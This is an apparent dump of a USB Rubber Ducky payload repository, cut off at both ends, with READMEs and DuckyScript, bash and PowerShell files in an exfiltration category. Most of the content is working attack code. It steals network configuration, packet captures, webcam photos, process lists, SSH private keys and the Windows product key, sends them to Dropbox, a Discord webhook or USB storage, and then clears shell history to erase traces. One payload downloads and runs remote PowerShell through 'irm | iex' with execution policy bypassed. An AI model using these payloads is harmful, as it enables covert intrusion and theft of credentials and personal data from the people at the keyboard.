https://content.dropboxapi.com/2/files/upload\nDELAY 500\nSTRING curl -X POST \nSTRING DROPBOX_API_LINK \nSTRING --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"$DROPBOX_FOLDER\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false}\" --header \"Content-Type: application/octet-stream\" --data-binary \"@$ZIP_PATH\"\nENTER\n\nREM Send timing - it depends\nDELAY 5000\n\nDELAY 500\nSTRING rm -rf \"$TMP_FOLDER_PATH\"\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateNetworkConfiguration_Linux/README.md",
    "content": " \n# Exfiltrate Network Configuration - Linux ✅\n\nA script used to exfiltrate the network configuration on a Linux machine.\n\n**Category**: Exfiltrate, Execution\n\n## Description\n\nA script used to exfiltrate the network configuration on a Linux machine.\n\nOpens a shell, get the network card name, get the network configuration using nmcli, send the result to Dropbox, erase traces.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Dropbox Token\n\n### Settings\n\n* Set the Dropbox token\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateNetworkConfiguration_Linux/payload.txt",
    "content": "\nREM ##########################################################\nREM #                                                        |\nREM # Title        : Exfiltrate Linux Network Configuration  |\nREM # Author       : Aleff                                   |\nREM # Version      : 1.0                                     |\nREM # Category     : Exfiltration, Execution                 |\nREM # Target       : Linux                                   |\nREM #                                                        |\nREM ##########################################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Dropbox Account\nREM     - - DROPBOX_ACCESS_TOKEN\n\nDELAY 1000\nCTRL-ALT t\n\nDELAY 2000\nREM Required: Set here your Dropbox access TOKEN\nDEFINE TOKEN example\nSTRING ACCESS_TOKEN=\"\nSTRING TOKEN\nSTRING \"\nENTER\n\nREM DELAY 500\nREM STRING USER_NAME=$(whoami)\nREM ENTER\n\nDELAY 500\nSTRING RANDOM=$(shuf -i 1-999999999999 -n 1)\nENTER\n\nDELAY 500\nSTRING ZIP_NAME=\"$RANDOM.zip\"\nENTER\nDELAY 500\nSTRING ZIP_PATH=\"/home/$USER_NAME/Documents/$ZIP_NAME\"\nENTER\n\nREM Folder path\nDELAY 500\nSTRING TMP_FOLDER_PATH=$(mktemp -d -p \"/home/$USER_NAME/Documents\" prefix-XXXXXXXXXX)\nENTER\n\nDELAY 500\nSTRING nmcli > \"$TMP_FOLDER_PATH/nmcli.txt\"\nENTER\n\nDELAY 1000\nSTRING nmcli connection show > \"$TMP_FOLDER_PATH/nmcli_connection.txt\"\nENTER\n\nDELAY 1000\nSTRING nmcli device show > \"$TMP_FOLDER_PATH/nmcli_device.txt\"\nENTER\n\nDELAY 1000\nREM Delay for zipping operation, it depends by computer power and folder directory\nSTRING zip -r \"$ZIP_PATH\" \"$TMP_FOLDER_PATH\"\nDELAY 3000\n\n\nREM Set yout Dropbox folder name\nDEFINE DROPBOX_FOLDER_NAME example\nSTRING DROPBOX_FOLDER=\"/\nENTER\nSTRING DROPBOX_FOLDER_NAME\nENTER\nSTRING \"\nENTER\nDELAY 500\n\nDEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload\nSTRING curl -X POST\nSTRING DROPBOX_API_CONST\nSTRING --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"$DROPBOX_FOLDER\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false}\" --header \"Content-Type: application/octet-stream\" --data-binary \"@$ZIP_PATH\"\nENTER\n\nDELAY 2000\nSTRING history -c\nENTER\n\nDELAY 500\nSTRING rm -rf \"$TMP_FOLDER_PATH\"\nENTER\n\nDELAY 500\nSTRING rm -rf \"$ZIP_PATH\"\nENTER\n\nDELAY 500\nSTRING exit\nENTER"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateNetworkTraffic_Linux/README.md",
    "content": "# Exfiltrate Network Traffic - Linux ✅\n\nA script used to exfiltrate the network traffic on a Linux machine.\n\n**Category**: Exfiltrate\n\n## Description\n\nA script used to exfiltrate the network traffic on a Linux machine.\n\nOpens a shell, get the network card name, get the network traffic using tcpdump, send the result to Dropbox, erase traces.\n\n## Getting Started\n\n### Dependencies\n\n* Permissions\n* Internet Connection\n\n### Settings\n\n* Set the Dropbox token\n* Set the sniffing filter\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateNetworkTraffic_Linux/payload.txt",
    "content": "\nREM #############################################\nREM #                                           |\nREM # Title        : Exfiltrate Network Traffic |\nREM # Author       : Aleff                      |\nREM # Version      : 1.0                        |\nREM # Category     : Exfiltration               |\nREM # Target       : Linux                      |\nREM #                                           |\nREM #############################################\n\nREM Requirements:\nREM     - Permissions\nREM     - Internet Connection\n\nREM REQUIRED: You need to know the sudo password and replace 'example' with this\nDEFINE SUDO_PASS example\nREM REQUIRED: Set what you want to sniff, for example tcp port 80\nDEFINE SNIFFING example\nREM Set your Dropbox link or whatever you want to use to exfiltrate the sniff file\nDEFINE TOKEN example\nREM Just a Dropbox const\nDEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload\nREM Output file path packets.pcap, remember to use pcap extension\nDEFINE FILE example.pcap\n\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### PERMISSIONS SECTION ####\n\n\nSTRINGLN sudo su\nDELAY 1000\nSTRINGLN SUDO_PASS\nDELAY 1000\n\n\nREM #### Network Traffic SECTION ####\n\n\nSTRING FILE_PATH=\"\nSTRING FILE\nSTRING \"\nENTER\nDELAY 500\n\nSTRING filter_expression=\"\nSTRING SNIFFING\nSTRING \"\nENTER\nDELAY 500\n\nREM Network card name\nSTRINGLN net_card=\"$(ip route get 8.8.8.8 | awk '{ print $5; exit }')\"\nDELAY 500\n\nREM Network dump\nSTRINGLN tcpdump -i \"$net_card\" $filter_expression -w \"$FILE_PATH\" &\nDELAY 500\n\nREM Get PID\nSTRINGLN tcpdump_pid=$!\n\nREM Set how long you want to sniff\nDELAY 60000\n\nREM Kill the process by PID\nSTRINGLN kill $tcpdump_pid\n\n\nREM #### Exfiltrate SECTION ####\nREM You can use whatever you want, i use Dropbox\n\nSTRING ACCESS_TOKEN=\"\nSTRING TOKEN\nSTRING \"\nENTER\nDELAY 500\n\nSTRINGLN DROPBOX_FOLDER=\"/Exfiltration\"\nDELAY 500\n\nSTRING curl -X POST\nSTRING DROPBOX_API_CONST\nSTRING --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"$DROPBOX_FOLDER\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false}\" --header \"Content-Type: application/octet-stream\" --data-binary \"@$FILE_PATH\"\nENTER\n\n\nREM #### REMOVE TRACES ####\n\n\nSTRINGLN rm \"$FILE_PATH\"\nDELAY 500\n\nSTRINGLN history -c\nDELAY 500\n\nREM Exit from Sudo user\nSTRINGLN exit\nDELAY 500\n\nREM Close the shell\nSTRINGLN exit\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateNetworkTraffic_Linux/script.sh",
    "content": "#!/bin/bash\n\nfilter_expression=\"tcp port 80\"\n\nnet_card=\"$(ip route get 8.8.8.8 | awk '{ print $5; exit }')\"\n\ntcpdump -i \"$net_card\" $filter_expression -w packets.pcap &\ntcpdump_pid=$!\n\nsleep 60\n\nkill $tcpdump_pid"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltratePhotosThroughShell/README.md",
    "content": "# Exfiltrate Photos Through Shell - Linux ✅\n\nA script used to exfiltrate photos using fswebcam shell command.\n\n**Category**: Exfiltration\n\n## Description\n\nA script used to exfiltrate photos using fswebcam shell command. The permissions is needed for give the executation permission to the script downloaded.\n\n## Getting Started\n\n### Dependencies\n\n* An internet connection\n* Linux system\n* Dropbox Token, or whatever you want, for the exfiltration\n* sudo permission\n* 'fswebcam' installed but you can install it with the payload\n\n### Settings\n\n* Dropbox Token - You should change it into the script.sh file, line 7.\n\n```Python\nTOKEN=your_dropbox_token\n```\n\n* This section of sudo time depends by the computer power on which it runs. So if you know that the computer on which you run the payload is too slow, increase it by a few seconds, otherwise you can try running it as it is (so 5000) set now or smaller depending on your needs.\n\n```DuckyScript\nSTRING SUDO-PSWD\nENTER\nREM DELAY Based On Computer Power\nDELAY 5000\n```\n\n* If you want to install the fswebcam dependency, you should uncomment it. This DELAY (so 5000), like the previous one, is dynamic and in this case relies on the power of the Internet.\n\n```DuckyScript\nREM STRING apt install fswebcam -y\nREM ENTER\nREM DELAY Based On Internet Power\nREM DELAY 5000\n```\n\n* Generally does not need much time\n\n```DuckyScript\nREM DELAY Based On Internet Power\nDELAY 4000\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltratePhotosThroughShell/payload.txt",
    "content": "\nREM ##################################################\nREM #                                                |\nREM # Title        : Exfiltrate Photos Through Shell |\nREM # Author       : Aleff                           |\nREM # Version      : 1.0                             |\nREM # Category     : Exfiltration                    |\nREM # Target       : Linux                           |\nREM #                                                |\nREM ##################################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Dropbox Token for example, but you can use whatever you want for the exfiltration (i.e. smtp e-mail, Discord, Telegram and so on..)\nREM     - sudo permissions\nREM         - if you need to install 'fswebcam'\nREM         - for add the -x permission to the script.sh downloaded\n\nREM REQUIRED - replace example.com with your script.sh link\nDEFINE SCRIPT-SH-LINK example.com\n\nREM REQUIRED - sudo Password\nDEFINE SUDO-PSWD example\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### Permission ####\n\nREM This section of sudo time depends by the computer power on which it runs.\nREM So if you know that the computer on which you run the payload is too slow, increase it by a few seconds, otherwise you can try running it as it is set now or smaller depending on your needs.\n\nSTRING sudo su\nENTER\nDELAY 500\nSTRING SUDO-PSWD\nENTER\nREM DELAY Based On Computer Power\nDELAY 5000\n\nREM If you want to install the dependency of fswebcam you should decommend it.\nREM STRING apt install fswebcam -y\nREM ENTER\nREM DELAY Based On Internet Power\nREM DELAY 5000\n\n\nREM #### Script ####\n\n\nSTRING curl \nSTRING SCRIPT-SH-LINK\nSTRING  > script.sh\nENTER\nREM DELAY Based On Internet Power\nDELAY 4000\n\nSTRING chmod +x script.sh\nENTER\nDELAY 500\n\nSTRING nohup ./script.sh > /dev/null 2>&1 & exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltratePhotosThroughShell/script.sh",
    "content": "#!/bin/bash\n\nUSER=$(whoami)\n\nDIR=/home/$USER/tmp\n\nTOKEN=your_dropbox_token\n\nmkdir -p $DIR\n\nfunction remove_folder {\n  rm -rf \"$DIR\"\n  rm -rf \"/home/$USER/script.sh\"\n}\n\ntrap remove_folder EXIT\n\n# execute the for, for some times..\nfor i in {1..10}\ndo\n  NAME=$(date +%s%N).jpg\n\n  fswebcam --no-banner $DIR/$NAME\n\n  curl -X POST https://content.dropboxapi.com/2/files/upload \\\n    --header \"Authorization: Bearer $TOKEN\" \\\n    --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"/$NAME\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false}\" \\\n    --header \"Content-Type: application/octet-stream\" \\\n    --data-binary @$DIR/$NAME\n\n  sleep 60\ndone\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateProcessInfo_Linux/README.md",
    "content": " \n# Exfiltrate Process Info - Linux ✅\n\nA script used to exfiltrate the process info on a Linux machine.\n\n**Category**: Exfiltration\n\n## Description\n\nA script used to exfiltrate the process info on a Linux machine.\n\nOpens a shell, get the process info, set the Discord webhook configuration, send it to the discord webhook, erase traces.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Discord Webhook\n\n### Settings\n\n* Set the Discord Webhook configuration\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateProcessInfo_Linux/payload.txt",
    "content": "\nREM ##########################################\nREM #                                        |\nREM # Title        : Exfiltrate Process Info |\nREM # Author       : Aleff                   |\nREM # Version      : 1.0                     |\nREM # Category     : Exfiltration            |\nREM # Target       : Linux                   |\nREM #                                        |\nREM ##########################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Discord Webhook\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### GET PROCESS SECTION ####\n\n\nSTRING ps aux > process.txt\nENTER\nDELAY 500\n\n\nREM #### EXFILTRATE SECTION ####\n\n\nREM Required: Set here your Dropbox access TOKEN\nDEFINE TOKEN example\nSTRING ACCESS_TOKEN=\"\nSTRING TOKEN\nSTRING \"\nENTER\nDELAY 500\n\nSTRING USER_NAME=$(whoami)\nENTER\nDELAY 500\n\nSTRING TXT_PATH=\"/home/$USER_NAME/process.txt\"\nENTER\nDELAY 500\n\nREM Set yout Dropbox folder name\nDEFINE DROPBOX_FOLDER_NAME example\nSTRING DROPBOX_FOLDER=\"/\nSTRING DROPBOX_FOLDER_NAME\nSTRING \"\nENTER\nDELAY 500\n\nDEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload\nSTRING curl -X POST\nSTRING DROPBOX_API_CONST\nSTRING --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"$DROPBOX_FOLDER\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false}\" --header \"Content-Type: application/octet-stream\" --data-binary \"@$TXT_PATH\"\nENTER\n\nREM It depends by the internet connection, btw 1 or 2 seconds, generally, is sufficient\nDELAY 2000\n\n\nREM #### REMOVE TRACES ####\n\n\nSTRING history -c\nENTER\nDELAY 500\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateProcessInfo_Windows/ExfiltrateProcessInfo.ps1",
    "content": "<#\nThis function uploads the content of a file called \"tasklist_output.txt\" to Dropbox using Dropbox API.\n\nFirstly, a temporary file is created using the New-TemporaryFile cmdlet of PowerShell.\n\nThen, the tasklist /v command is used to get the running processes output on the computer.\n\nThe output is then written to the temporary file using the Out-File cmdlet.\n\nThe Dropbox API endpoint for uploading a file is set, and the API parameters such as the destination path of the file on Dropbox and access credentials are specified.\n\nFinally, the Invoke-RestMethod cmdlet of PowerShell is used to send an HTTP POST request to the Dropbox API and upload the file.\n#>\nfunction ExfiltrateProcessInfo {\n\t$localFilePath = New-TemporaryFile\n\t$taskListOutput = tasklist /v\n\t$taskListOutput | Out-File -FilePath $localFilePath\n\t$dropboxFilePath = \"/tasklist_output.txt\"\n\n\t# Required - Set here your Dropbox Token\n\t$accessToken = \"example.com\"\n\t$authHeader = @{Authorization = \"Bearer $accessToken\"}\n\n\t$fileContent = Get-Content $localFilePath\n\n\t$uploadUrl = \"https://content.dropboxapi.com/2/files/upload\"\n\n\t$headers = @{}\n\t$headers.Add(\"Authorization\", \"Bearer $accessToken\")\n\t$headers.Add(\"Dropbox-API-Arg\", '{\"path\":\"' + $dropboxFilePath + '\",\"mode\":\"add\",\"autorename\":true,\"mute\":false}')\n\t$headers.Add(\"Content-Type\", \"application/octet-stream\")\n\n\tInvoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $fileContent\n}\n\nExfiltrateProcessInfo"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateProcessInfo_Windows/README.md",
    "content": "# Exfiltrate Process Info - Windows ✅\n\nA script used to exfiltrate process info.\n\n**Category**: Exfiltration\n\n## Description\n\nA script used to exfiltrate process info.\n\nThis function uploads the content of a file called \"tasklist_output.txt\" to Dropbox using Dropbox API.\n\nFirstly, a temporary file is created using the New-TemporaryFile cmdlet of PowerShell.\n\nThen, the tasklist /v command is used to get the running processes output on the computer.\n\nThe output is then written to the temporary file using the Out-File cmdlet.\n\nThe Dropbox API endpoint for uploading a file is set, and the API parameters such as the destination path of the file on Dropbox and access credentials are specified.\n\nFinally, the Invoke-RestMethod cmdlet of PowerShell is used to send an HTTP POST request to the Dropbox API and upload the file.\n\n## Getting Started\n\n### Dependencies\n\n* An internet connection\n* Windows 10,11\n\n### Settings\n\n* Dropbox Webhook\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateProcessInfo_Windows/payload.txt",
    "content": "REM ##########################################\nREM #                                        |\nREM # Title        : Exfiltrate Process Info |\nREM # Author       : Aleff                   |\nREM # Version      : 1.0                     |\nREM # Category     : Exfiltration            |\nREM # Target       : Windows 10-11           |\nREM #                                        |\nREM ##########################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Dropbox Webhook\n\nREM REQUIRED - Reply example.com with YOUR LINK. The Payload should be ExfiltrateProcessInfo.ps1\nDEFINE PAYLOAD example.com\n\n\nDELAY 2000\nGUI r\nDELAY 250\nDELETE\nSTRING powershell -w h -ep bypass irm \nSTRING PAYLOAD \nSTRING | iex\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateSSHKeys/README.md",
    "content": "# ExfiltrateSSHKeys\n\nAuthor: [thomasgruebl](https://github.com/thomasgruebl)<br>\nOS: Windows (fully functional), macOS (fully functional), Linux (partly functional)<br>\nVersion: 1.0<br>\nRequirements: DuckyScript 3.0, PayloadStudio v1.3.1\n\n## Description\n\n*The ExfiltrateSSHKeys payload can be used to check for the existence of the ~/.ssh directory and exfiltrate its contents to the USB Rubber Ducky. In addition, the payload performs a recursive search on a pre-defined parent directory, looking for any private key files and subsequently exfiltrating them.*\n#\n## Settings\n\n- You must define the parent directory to perform the recursive search (e.g. Desktop):\n\n    `DEFINE #PARENT_DIR Desktop`\n\n- You must define your ducky drive label:\n\n    `DEFINE #DUCKY_DRIVE_LABEL DUCKY`\n\n- You can switch between operating systems by changing the following bools:\n\n    `DEFINE #WINDOWS TRUE`\n\n    `DEFINE #MACOS FALSE`\n\n    `DEFINE #LINUX FALSE`\n\n    Only set ONE definition at the time to TRUE (e.g. DEFINE #WINDOWS TRUE). DEFINE #WINDOWS TRUE, DEFINE #MACOS TRUE, and DEFINE #LINUX TRUE won't function.\n"
  },
  {
    "path": "payloads/library/exfiltration/ExfiltrateSSHKeys/payload.txt",
    "content": "REM Title: ExfiltrateSSHKeys\nREM Author: thomasgruebl\nREM Target: Windows, macOS, Linux (partly functional)\nREM Version: 1.0\nREM Category: Exfiltration\nREM Description: This payload performs an SSH key exfiltration attack by (1) \nREM              checking the default ssh key location ~/.ssh/ and (2) by performing a\nREM              grep recursive pattern matching search for an SSH private key in a specified parent directory.\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nATTACKMODE HID STORAGE\n\n$_JITTER_ENABLED = TRUE\n\nREM Define OS - Only set ONE definition at the time to TRUE (e.g. DEFINE #WINDOWS TRUE).\nREM DEFINE #WINDOWS TRUE, DEFINE #MACOS TRUE, and DEFINE #LINUX TRUE won't function.\nDEFINE #WINDOWS TRUE\nDEFINE #MACOS FALSE\nDEFINE #LINUX FALSE\n\nREM Define Rubber Ducky Drive Label\nDEFINE #DUCKY_DRIVE_LABEL DUCKY\n\nREM Using \"Desktop\" as a sample directory\nDEFINE #PARENT_DIR Desktop\n\nIF_DEFINED_TRUE #MACOS\n    DELAY 500\n    GUI SPACE\n    DELAY 500\n    STRING terminal\n    DELAY 50\n    ENTER\n    DELAY 100\n    STRING cd\n    DELAY 50\n    ENTER\n    DELAY 100\n    \n    REM Create exfiltration directory + add some extra delay to give the rubber ducky time to mount storage\n    DELAY 2000\n    STRING mkdir /Volumes/#DUCKY_DRIVE_LABEL/ssh_exfiltration\n    DELAY 50\n    ENTER\n    DELAY 100\n    \n    REM Method 1: Copy ~/.ssh dir\n    STRING cp .ssh/* /Volumes/#DUCKY_DRIVE_LABEL/ssh_exfiltration\n    DELAY 50\n    ENTER\n    \n    DELAY 1000\n    \n    REM Method 2: Recursively search a parent directory for an ssh key pattern\n    STRING matches=$(grep -rl \"PRIVATE KEY\" #PARENT_DIR) && for file in ${(f)matches}; do cp \"$file\" /Volumes/#DUCKY_DRIVE_LABEL/ssh_exfiltration; done;\n    DELAY 50\n    ENTER\n    \n    DELAY 3000\n    \n    REM Cleaning up\n    \n    REM 1. Flush shell history\n    STRING history -p && rm -f .zsh_history && touch .zsh_history && kill -9 $$\n    DELAY 50\n    ENTER\n\n    REM 2. Quit terminal\n    DELAY 100\n    GUI q\n\nEND_IF_DEFINED\n\n\nIF_DEFINED_TRUE #WINDOWS\n\n    REM Method 1: Copy ~/.ssh dir\n    GUI r\n    DELAY 500\n    STRING powershell \"$vol=(Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter;\n    STRING mkdir $vol':\\'ssh_exfiltration\\;\n    STRING cp -r $env:USERPROFILE\\.ssh\\* $vol':\\'ssh_exfiltration\\; Start-Sleep -Seconds 0.5\"\n    DELAY 100\n    ENTER\n    DELAY 1000\n\n    REM Method 2: Recursively search a parent directory for an ssh key pattern\n    GUI r\n    DELAY 100\n    STRING powershell \"$vol=(Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter;\n    STRING $matches=(findstr /MSPI 'PRIVATE KEY' $env:USERPROFILE\\#PARENT_DIR\\*);\n    STRING $split_matches=$matches -split '`n';\n    STRING foreach ($line in $split_matches) { cp $line $vol':\\'ssh_exfiltration\\ }\"\n    DELAY 100\n    ENTER\n    \n    DELAY 500\nEND_IF_DEFINED\n\n\nIF_DEFINED_TRUE #LINUX\n\n    REM Needed longer delays on Ubuntu system while testing\n    DELAY 3000\n    CTRL-ALT t\n    DELAY 3000\n\n    STRINGLN cd\n    DELAY 100\n\n    REM identify user\n    STRINGLN USER_NAME=$(whoami)\n    DELAY 500\n    \n    STRINGLN mkdir /media/$USER_NAME/#DUCKY_DRIVE_LABEL/ssh_exfiltration\n    DELAY 100\n    \n    REM Method 1: Copy ~/.ssh dir\n    STRINGLN cp .ssh/* /media/$USER_NAME/#DUCKY_DRIVE_LABEL/ssh_exfiltration\n    \n    DELAY 1000\n    \n    REM Method 2: Recursively search a parent directory for an ssh key pattern\n    STRINGLN matches=$(grep -rl \"PRIVATE KEY\" #PARENT_DIR) && for file in ${(f)matches}; do cp \"$file\" /media/$USER_NAME/#DUCKY_DRIVE_LABEL/ssh_exfiltration; done;\n    \n    DELAY 3000\n    \n    REM Cleaning up\n\n    REM 1. Flush shell history\n    STRINGLN history -p && rm -f .bash_history && touch .bash_history && kill -9 $$\n    DELAY 100\n\n    REM 2. Quit terminal\n    STRINGLN exit\n\nEND_IF_DEFINED\n"
  },
  {
    "path": "payloads/library/exfiltration/Exfiltrate_Windows_Product_Key/README.md",
    "content": "# Exfiltrate Windows Product Key\n\nThrough this payload, you can export the key information related to the Windows Product Key, knowing its type and the key itself, using a Discord Webhook.\n\nNo administrator permissions are required to do this, isn't that absurd, right? :-)\n\n![](./assets/1.png)\n\n**Category**: Exfiltration\n\n## Index\n\n- [Introduction](#exfiltrate-windows-product-key)\n- [Note](#note)\n- [Dependencies](#dependencies)\n- [Settings](#settings)\n- [Payload Description](#payload-description)\n- [Product Key Types](#product-key-types)\n- [Sources](#sources)\n\n## Note\n\nTested on:\n- Windows 11\n\n## Dependencies\n\n- Discord Webhook\n\n## Settings\n\nThis portion of the payload serves as a user-defined configuration section where you should input your Discord Webhook URL. You should replace \"example.com\" with the actual Discord Webhook URL you want to use. The Webhook URL is the endpoint where your payload will send the acquired information related to the Windows Product Key, as well as its type, for exfiltration to a specified Discord channel or server. It's a crucial part of the payload that connects the data extraction process to your Discord platform for further analysis or actions.\n\n```DuckyScript\nDEFINE #DISCORD_WEBHOOK example.com\n```\n\n## Payload Description\n\nThrough this payload, you can export essential information related to the Windows Product Key using a Discord Webhook, ensuring that you identify its type and the key itself.\n\nAt the beginning of the payload, the DETECT_READY extension [[1](#sources)] is used to optimize the opening of a PowerShell session on the target.\n\nThe following commands are then executed to obtain the necessary information about the Product Key:\n\n1. This command retrieves the currently in-use Product Key:\n\n   ```powershell\n   wmic path softwarelicensingservice get OA3xOriginalProductKey\n   ```\n\n2. This command helps determine the type of key. You can refer to the [key types section](#key-types) for more details:\n\n   ```powershell\n   wmic path softwarelicensingservice get OA3xOriginalProductKeyDescription\n   ```\n\nThe acquired information is stored in the `$exfiltration` variable, which is subsequently used to create the `$payload` object. This object is then utilized for exfiltration via a Discord Webhook.\n\n**Exfiltration via Discord Webhook**:\n\nThe `$hookUrl` variable was initialized at the beginning of the payload with the value you need to define before execution.\n\n```powershell\nInvoke-RestMethod -Uri $hookUrl -Method Post -Body ($payload | ConvertTo-Json) -ContentType 'Application/Json'; exit\n```\n\n**Exfiltration via USB Rubber Ducky Storage**:\n\nIf you use the exfiltration method set up to retain data using Rubber Ducky's USB storage, you will not have to make any changes.\n\n## Product Key Types\n\nWhen dealing with Windows Product Keys, it's essential to understand the different types and their characteristics:\n\n- **OEM Keys** (*Original Equipment Manufacturer*):\n\n      **Transferability**: Not supposed to be transferable. These keys are typically tied to the prebuilt PC on which they were originally installed.\n      **Usage**: Manufacturers use OEM keys to install Windows on new computers.\n      **Procurement**: OEM keys can sometimes be found at discount key vendors, although their use on different hardware may be challenging.\n\n- **Retail Keys** (*aka \"Full Packaged Product\" Keys*):\n      \n      **Transferability**: Transferrable. These keys can be moved from one computer to another.\n      **Cost**: Retail keys are often more expensive, often exceeding $100.\n      **Hidden Keys**: In some cases, a computer may already have a retail key, perhaps from a previous Windows upgrade. Users might not be aware of this until they check.\n\nUnderstanding these key types is crucial when working with Windows Product Keys, as it can impact their use, transferability, and compatibility with different hardware and scenarios.\n\n*Note: Source of this info [[2](#sources)]*\n\n## Sources\n\n- [1] Detect Ready: https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready\n- [2] Is your Windows Product Key 